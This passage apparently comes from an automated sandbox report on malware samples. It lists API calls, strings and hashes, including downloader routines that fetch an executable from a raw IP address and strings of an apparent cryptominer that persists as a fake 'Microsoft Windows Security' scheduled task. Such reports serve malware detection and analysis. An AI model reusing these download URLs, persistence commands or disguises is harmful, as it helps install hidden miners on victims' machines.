Part of subcall function 006010B0: wsprintfW.USER32 ref: 0060112B
Part of subcall function 006010B0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00601141
Part of subcall function 006010B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0060116D
Part of subcall function 006010B0: CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0060119C
Part of subcall function 006010B0: InternetReadFile.WININET(00000000,?,00000103,?), ref: 006011CF
Part of subcall function 006010B0: WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 00601200
Part of subcall function 006010B0: CloseHandle.KERNEL32(000000FF), ref: 0060120F
Part of subcall function 006010B0: wsprintfW.USER32 ref: 00601228

Strings

http://185.215.113.84/nxmr.exe, xrefs: 00601486

Memory Dump Source

Source File: 0000001B.00000002.2811489947.0000000000601000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00600000, based on PE: true

Associated: 0000001B.00000002.2811282068.0000000000600000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811541210.0000000000604000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_600000_1091722296.jbxd

Similarity

API ID: File$wsprintf$EnvironmentExpandInternetStrings$ExistsOpenPathrand$CacheCloseCountCreateDeleteEntryHandleReadSleepTickWritesrand
String ID: http://185.215.113.84/nxmr.exe
API String ID: 4035879952-3066490085
Opcode ID: 69b31b646d2fe8d4cf2de769ede8ca907026c3c05e23b548928d315eeff5acdf
Instruction ID: 894be4c92fa038260a25803477f97e6e9a278fae3f1f7628687f668f47030030
Opcode Fuzzy Hash: 69b31b646d2fe8d4cf2de769ede8ca907026c3c05e23b548928d315eeff5acdf
Instruction Fuzzy Hash: 75D0A7B55C031A61E24D32B27C2B63F31D6AE03781F40543BB4478C9D3ED44D80850B6

Analysis Process: 1239611256.exePID: 2052, Parent PID: 5112COMMON

Executed Functions

Function 00007FF6904F14B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2945188568.00007FF6904F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6904F0000, based on PE: true

Associated: 0000001C.00000002.2945124735.00007FF6904F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945210498.00007FF69050B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945241704.00007FF69050C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945689712.00007FF690A77000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945718641.00007FF690A79000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945739905.00007FF690A82000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945765502.00007FF690A85000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001C.00000002.2945792367.00007FF690A86000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6904f0000_1239611256.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc9e1e80a9e88cbd31d74ff9d33f509eac08cb26dec99584b05bafd3a36954d
Instruction ID: 7723c6fc7e7d042fac06f88fe56f996d9a20d95263a85082830fd669388a8304
Opcode Fuzzy Hash: 2fc9e1e80a9e88cbd31d74ff9d33f509eac08cb26dec99584b05bafd3a36954d
Instruction Fuzzy Hash: E3B01231E08209F4E3102F31D84125833A4EB08B50F808070C60C433A3CE7DD0404750

Analysis Process: 146916724.exePID: 6992, Parent PID: 1588COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00C91000 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 40
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 00C91015
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00C9102B
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00C91056
Sleep.KERNELBASE(000003E8), ref: 00C91064
InternetCloseHandle.WININET(?), ref: 00C9106E
Sleep.KERNELBASE(000003E8), ref: 00C91079
InternetCloseHandle.WININET(00000000), ref: 00C91086

Strings

http://91.202.233.141/ALLBSTATAASASD, xrefs: 00C91009
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36, xrefs: 00C91026

Memory Dump Source

Source File: 0000001D.00000002.2876413118.0000000000C91000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00C90000, based on PE: true

Associated: 0000001D.00000002.2876388596.0000000000C90000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876438869.0000000000C92000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876495761.0000000000C93000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876519841.0000000000C94000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876546036.0000000000C95000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_c90000_146916724.jbxd

Similarity

API ID: Internet$CloseHandleOpenSleep$wsprintf
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36$http://91.202.233.141/ALLBSTATAASASD
API String ID: 2685051180-603325175
Opcode ID: 6dd9b7fb844807a88993c97b4d229b4a08a6f3e6ea52082d7b7f16af93ec6bdd
Instruction ID: 3ebce66fa12dfdfbe14cd3fc79d34e821651a24d07d9b6d7f4c23ac51382ac2e
Opcode Fuzzy Hash: 6dd9b7fb844807a88993c97b4d229b4a08a6f3e6ea52082d7b7f16af93ec6bdd
Instruction Fuzzy Hash: BE014F74E80306BBDB259FA4DD0EF6D777CEB08B01F1011A9BA49A61D0CA706B44CF65

Function 00C91090 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00C910AA
wsprintfW.USER32 ref: 00C910C3
PathFileExistsW.KERNELBASE(?), ref: 00C910D3
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00C910F9
CloseHandle.KERNELBASE(000000FF), ref: 00C91115

Strings

@1#v.#v, xrefs: 00C910F9
%s\488888888888fs.txt, xrefs: 00C910B7
%temp%, xrefs: 00C910A5

Memory Dump Source

Source File: 0000001D.00000002.2876413118.0000000000C91000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00C90000, based on PE: true

Associated: 0000001D.00000002.2876388596.0000000000C90000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876438869.0000000000C92000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876495761.0000000000C93000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876519841.0000000000C94000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876546036.0000000000C95000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_c90000_146916724.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\488888888888fs.txt$%temp%$@1#v.#v
API String ID: 750032643-2224946725
Opcode ID: d676d131959db23fe0cca0fefed4485a6777a9d996c88968693d2357a0f45ac4
Instruction ID: 4e18ad4d2dfd25c8722b3990a130ffa774128a704f9de815fc394e7d7af7dcff
Opcode Fuzzy Hash: d676d131959db23fe0cca0fefed4485a6777a9d996c88968693d2357a0f45ac4
Instruction Fuzzy Hash: AD01A2B094031CBBDF309B609C4EFE9737CAB44700F0086A5AB55A60D2DAB05BC5CFA5

Function 00C91130 Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00C91138

Part of subcall function 00C91090: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00C910AA
Part of subcall function 00C91090: wsprintfW.USER32 ref: 00C910C3
Part of subcall function 00C91090: PathFileExistsW.KERNELBASE(?), ref: 00C910D3

Part of subcall function 00C91000: wsprintfW.USER32 ref: 00C91015
Part of subcall function 00C91000: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00C9102B
Part of subcall function 00C91000: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00C91056
Part of subcall function 00C91000: Sleep.KERNELBASE(000003E8), ref: 00C91064
Part of subcall function 00C91000: InternetCloseHandle.WININET(?), ref: 00C9106E
Part of subcall function 00C91000: Sleep.KERNELBASE(000003E8), ref: 00C91079
Part of subcall function 00C91000: InternetCloseHandle.WININET(00000000), ref: 00C91086

Memory Dump Source

Source File: 0000001D.00000002.2876413118.0000000000C91000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00C90000, based on PE: true

Associated: 0000001D.00000002.2876388596.0000000000C90000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876438869.0000000000C92000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876495761.0000000000C93000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876519841.0000000000C94000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2876546036.0000000000C95000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_c90000_146916724.jbxd

Similarity

API ID: Internet$Sleep$CloseHandleOpenwsprintf$EnvironmentExistsExpandFilePathStrings
String ID:
API String ID: 344363592-0
Opcode ID: 5b3a15d269286f86e88d98d4a46337790b553cd8bd5bf7c934c8edbb97cef457
Instruction ID: 2b45add7143f1082664e6c48734132f485f419b3b11dc6a5f28423ac90c2804d
Opcode Fuzzy Hash: 5b3a15d269286f86e88d98d4a46337790b553cd8bd5bf7c934c8edbb97cef457
Instruction Fuzzy Hash: E9C08C3110428B26A90032B26C0F72A329C4B007A2F082423B945C40C2DD42D460A0B1

Analysis Process: powershell.exePID: 3184, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD3479A0E5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939129597.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9870ac5085ea23af8fdac453681d183437d8932eb5a1ce1fada0b555937807a0
Instruction ID: 142d8b2508ed72a0bb80801b00e2104d7d7686907d296e515e851451bacb8386
Opcode Fuzzy Hash: 9870ac5085ea23af8fdac453681d183437d8932eb5a1ce1fada0b555937807a0
Instruction Fuzzy Hash: 0331F47191CB888FDB58DB5C9C4A6A97BE0FB59320F00426FE449D3252DA74A855CBC2

Function 00007FFD3467E380 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2938546851.00007FFD3467D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3467D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd3467d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f50582e14e65df88578e649fa684ae0b09ba490224193a1dddf40851072feb
Instruction ID: 15241c89ba4490a2fbb1f179f1758965f83d3ea20d83ad2c63751ea22e42ec06
Opcode Fuzzy Hash: b3f50582e14e65df88578e649fa684ae0b09ba490224193a1dddf40851072feb
Instruction Fuzzy Hash: 6E41037190DBC44FE7568B28DC959923FF0EF53324B1546EFD088CB1A3D629A84AC792

Function 00007FFD3479B028 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939129597.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db2fd184388efafc85e27566279818e33dae5dec30c30f8146380d16b46daea
Instruction ID: b56eb255ba9e49d96ae9e8f9a9c790ca5af868cbd8a6c51e6e025a47cfc1923e
Opcode Fuzzy Hash: 0db2fd184388efafc85e27566279818e33dae5dec30c30f8146380d16b46daea
Instruction Fuzzy Hash: FF21297090CB4C8FDB59DFAC984A7E97BF0EB96321F00426FD449C3152D674A41ACB92

Function 00007FFD34794675 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939129597.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066cba8b53df43cc294d8230771a219289238d614a0cd8bd707482a9e4ad6fb2
Instruction ID: e612da87be85d6dee2f80d0107349a7dabe7ee83009de2a3aaf5ed84299d1f14
Opcode Fuzzy Hash: 066cba8b53df43cc294d8230771a219289238d614a0cd8bd707482a9e4ad6fb2
Instruction Fuzzy Hash: 9B01677121CB0C8FD744EF4CE451AA5B7E0FB95364F10056EE58AC3651D636E881CB45

Function 00007FFD3479AE68 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939129597.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357af8039ee569a1b53b9df6037baffca181adb66b1e9c886df2f13fb889abcd
Instruction ID: e0a7428d32218374325ae18ef832eb9966f139132b5b27bed6cfb49c29e33b6c
Opcode Fuzzy Hash: 357af8039ee569a1b53b9df6037baffca181adb66b1e9c886df2f13fb889abcd
Instruction Fuzzy Hash: 8EF0E93081868ACFDB06DF3498165E67FA0FF26311F050297E458C71B2DB34A458CBC2

Function 00007FFD34864A1D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939608899.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f28516970371e20011d503b0f8fb1c555b684cfd4fa772c68503d096e84690b
Instruction ID: 92cb57ebbb7d4d48af72c505329f291255fc357bf6665f54b6049438a34bd3d8
Opcode Fuzzy Hash: 5f28516970371e20011d503b0f8fb1c555b684cfd4fa772c68503d096e84690b
Instruction Fuzzy Hash: 46F0BE32B0D9448FD7A9EB4CE4918E873E1EF4633171400BAE25DC7263DA29EC80C788

Function 00007FFD348653E4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939608899.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6adc8d8ecb1b5e62aae4a3500756e0b69d7e0fa7d4df9b87f8099defc498e2
Instruction ID: 3aebfda13e5250857e4b92ff70f4c8a1869fe56b09fffc879c679b27030461c3
Opcode Fuzzy Hash: 2d6adc8d8ecb1b5e62aae4a3500756e0b69d7e0fa7d4df9b87f8099defc498e2
Instruction Fuzzy Hash: 56F0A03131CF044FE748EE2DE4496A6B3E0FBA8310F20462FE44AC3291DA21E8818782

Function 00007FFD34864CD0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2939608899.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e153ebd55e672878444b7a853e8666bad2b783136a00deb19d0ab514e00ff22
Instruction ID: 283c969184913dca72d129eab53b5591cdca651b2305202ae139f46e893c7960
Opcode Fuzzy Hash: 7e153ebd55e672878444b7a853e8666bad2b783136a00deb19d0ab514e00ff22
Instruction Fuzzy Hash: 73F05E32A0D5448FD7A4EB4CE4914E877E0EF46730B5500B6E25DC7563DA2AAC44C744

Analysis Process: winupsecvmgr.exePID: 4044, Parent PID: 1064COMMON

Executed Functions

Function 00007FF7AD1B14B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.3142050242.00007FF7AD1B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FF7AD1B0000, based on PE: true

Associated: 00000022.00000002.3139161836.00007FF7AD1B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000022.00000002.3215892314.00007FF7AD739000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000022.00000002.3215912536.00007FF7AD742000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000022.00000002.3215930328.00007FF7AD745000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000022.00000002.3215949544.00007FF7AD746000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff7ad1b0000_winupsecvmgr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc9e1e80a9e88cbd31d74ff9d33f509eac08cb26dec99584b05bafd3a36954d
Instruction ID: a686bdfabce61223eedb1c978552a0642d50a4d9c3fbc1cb8676e18417c146f3
Opcode Fuzzy Hash: 2fc9e1e80a9e88cbd31d74ff9d33f509eac08cb26dec99584b05bafd3a36954d
Instruction Fuzzy Hash: FDB012B090E30A94E3093F21E8412587220EB08740FC35030C80C03372EEBC50805731

Analysis Process: conhost.exePID: 7112, Parent PID: 4004COMMON

Executed Functions

Function 00007FF7B89B85C0 Relevance: 55.0, APIs: 15, Strings: 21, Instructions: 1045
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7B89B871A
memset.MSVCRT ref: 00007FF7B89B88B2
memset.MSVCRT ref: 00007FF7B89B8A35
memset.MSVCRT ref: 00007FF7B89B8AFE
memset.MSVCRT ref: 00007FF7B89B8C9D
memset.MSVCRT ref: 00007FF7B89B8F0E
memset.MSVCRT ref: 00007FF7B89B90B7
memset.MSVCRT ref: 00007FF7B89B9187
_wcsicmp.MSVCRT ref: 00007FF7B89B9515
memcpy.MSVCRT ref: 00007FF7B89B956C
memcpy.MSVCRT ref: 00007FF7B89B9590
memcpy.MSVCRT ref: 00007FF7B89B9835
memcpy.MSVCRT ref: 00007FF7B89B985F
memcpy.MSVCRT ref: 00007FF7B89B9A38
memcpy.MSVCRT ref: 00007FF7B89B9A60

Strings

\Microsoft Windows Security\winupsecvmgr.exe, xrefs: 00007FF7B89B8D19, 00007FF7B89B8EEC
SYSTEMROOT=, xrefs: 00007FF7B89B8965
\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00007FF7B89B8B70, 00007FF7B89B8C74
\BaseNamedObjects\dzemvzqxamm, xrefs: 00007FF7B89B8631
USERPROFILE=, xrefs: 00007FF7B89B8E32
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft Windows Security, xrefs: 00007FF7B89B984B, 00007FF7B89B9884, 00007FF7B89B9A08
xmr, xrefs: 00007FF7B89B9438
\System32, xrefs: 00007FF7B89B88DD, 00007FF7B89B8A13
\cmd.exe, xrefs: 00007FF7B89B8A5B, 00007FF7B89B8AD2
%S <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest , xrefs: 00007FF7B89B9A49, 00007FF7B89B9A81, 00007FF7B89B9AEC
eth, xrefs: 00007FF7B89B9427
\Google\Libs\, xrefs: 00007FF7B89B8F48, 00007FF7B89B908A
\BaseNamedObjects\dzemvzqxamm, xrefs: 00007FF7B89B8726
\reg.exe, xrefs: 00007FF7B89B90E4, 00007FF7B89B915B
APPDATA=, xrefs: 00007FF7B89B9007
\BaseNamedObjects\vljmdnomkxppwbqz, xrefs: 00007FF7B89B92FB
5RK\E, xrefs: 00007FF7B89B8F13
\schtasks.exe, xrefs: 00007FF7B89B91C1, 00007FF7B89B9263
0, xrefs: 00007FF7B89B884A
e; }, xrefs: 00007FF7B89B9A94
%S /run /tn "Microsoft Windows Security", xrefs: 00007FF7B89B945F

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: memset$memcpy$_wcsicmpwcslen
String ID: %S /run /tn "Microsoft Windows Security"$%S <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest $0$5RK\E$APPDATA=$SYSTEMROOT=$USERPROFILE=$\BaseNamedObjects\dzemvzqxamm$\BaseNamedObjects\dzemvzqxamm$\BaseNamedObjects\vljmdnomkxppwbqz$\Google\Libs\$\Microsoft Windows Security\winupsecvmgr.exe$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft Windows Security$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\schtasks.exe$e; }$eth$xmr
API String ID: 1321921031-4262344814
Opcode ID: b5543baefebd80a1949f10078365f8542758c06a20fd94f67aadc13bba522567
Instruction ID: 0be5dc71ad1d56155ec16d41dc8795f3aa2914dc4255733d2afe84cf688f27b9
Opcode Fuzzy Hash: b5543baefebd80a1949f10078365f8542758c06a20fd94f67aadc13bba522567
Instruction Fuzzy Hash: 8BD28711C1C6C395FF12772DA4422F5E3A0AF77786F845231EB8C12769DF2EA1469B28

Function 00007FF7B89A1180 Relevance: 12.2, APIs: 8, Instructions: 195
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7B89A11E1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B89A1253
malloc.MSVCRT ref: 00007FF7B89A1307
strlen.MSVCRT ref: 00007FF7B89A1329
malloc.MSVCRT ref: 00007FF7B89A1335
memcpy.MSVCRT ref: 00007FF7B89A1349
GetStartupInfoA.KERNEL32 ref: 00007FF7B89A1453

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpystrlen
String ID:
API String ID: 649803965-0
Opcode ID: bef71663f6727e431b96fe150fb6a14801079257b7d8a09b9d0d6fdac41f2695
Instruction ID: e603f1605ad9cc15ed7209478661a28b9d086bf32bb42cfceeec5db949afd523
Opcode Fuzzy Hash: bef71663f6727e431b96fe150fb6a14801079257b7d8a09b9d0d6fdac41f2695
Instruction Fuzzy Hash: 74816C35E0860B85EE60AF5DE440379E391AF66B86FC44035DF8E4B399DE3DE4028728

Function 00007FF7B89A1720 Relevance: 31.8, APIs: 10, Strings: 8, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7B89A191D
memset.MSVCRT ref: 00007FF7B89A19F0

Strings

explorer.exe, xrefs: 00007FF7B89A1916
%S <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest , xrefs: 00007FF7B89A1726
\??\, xrefs: 00007FF7B89A1A9F
0, xrefs: 00007FF7B89A1963
xmr, xrefs: 00007FF7B89A1722
`, xrefs: 00007FF7B89A1C77
X, xrefs: 00007FF7B89A1CB1
%S /run /tn "Microsoft Windows Security", xrefs: 00007FF7B89A1724

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: memsetwcsncmp
String ID: %S /run /tn "Microsoft Windows Security"$%S <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest $0$X$\??\$`$explorer.exe$xmr
API String ID: 1181335886-2264807111
Opcode ID: 9340c56cd80f63489d28db57b46e1f31c9ba72a2ab9b3280ce8ad71af1fbfc60
Instruction ID: 48c1c221ed70770ef9f69e127e3f3e78d27106870cc3952472aff90a2596fec3
Opcode Fuzzy Hash: 9340c56cd80f63489d28db57b46e1f31c9ba72a2ab9b3280ce8ad71af1fbfc60
Instruction Fuzzy Hash: 6202C522918BC281EB219B29E4003AAF360FB96795F404335EB9D17BD9DF3DD145CB14

Function 00007FF7B89A2990 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7B89A29BE

Part of subcall function 00007FF7B89A1720: wcsncmp.MSVCRT ref: 00007FF7B89A191D

Strings

eth, xrefs: 00007FF7B89A2999
\BaseNamedObjects\vljmdnomkxppwbqz, xrefs: 00007FF7B89A2997

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
